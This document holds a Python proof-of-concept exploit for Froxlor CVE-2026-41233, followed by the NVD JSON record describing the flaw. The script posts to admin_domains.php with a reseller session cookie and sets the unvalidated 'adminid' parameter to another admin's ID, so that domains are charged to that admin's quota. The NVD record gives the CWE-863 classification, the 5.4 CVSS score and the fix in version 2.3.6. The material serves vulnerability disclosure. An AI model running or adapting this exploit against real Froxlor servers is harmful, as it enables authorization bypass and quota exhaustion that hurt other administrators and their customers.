CVE-2026-41233

# PoC Concept for Froxlor CVE-2026-41233 # Description: Bypass domain quota by tampering with the 'adminid' parameter. import requests TARGET_URL = "http://target-froxlor-installation/admin_domains.php" SESSION_COOKIE = "PHPSESSID=attacker_session_id" # Reseller session def exploit(): # Payload data to create a new domain # The 'adminid' is set to a target Admin ID (e.g., 1) instead of the Reseller's ID payload = { "page": "domains", "action": "add", "domain": "evil.example.com", "adminid": "1", # Vulnerable parameter: Target Admin ID "customerid": "1" # Target Customer ID under that Admin } headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(TARGET_URL, data=payload, headers=headers) if response.status_code == 200: print("[+] Domain potentially added to target admin. Check response.") else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-41233", "sourceIdentifier": "[email protected]", "published": "2026-04-23T05:16:05.477", "lastModified": "2026-04-27T16:59:16.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Froxlor is open source server administration software. Prior to version 2.3.6, in `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's `domains_used` counter is incremented) and potentially exhausting another admin's quota. Version 2.3.6 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.6", "matchCriteriaId": "9A9C896A-1305-4134-850E-4B44962A6C0A"}]}]}], "references": [{"url": "https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}